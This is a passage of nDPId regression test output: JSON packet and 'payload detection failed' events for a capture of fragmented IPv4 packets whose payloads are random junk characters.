+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523803,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523815,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523841,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523948,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523986,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524039,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524063,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524074,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524086,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524142,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524154,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524177,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 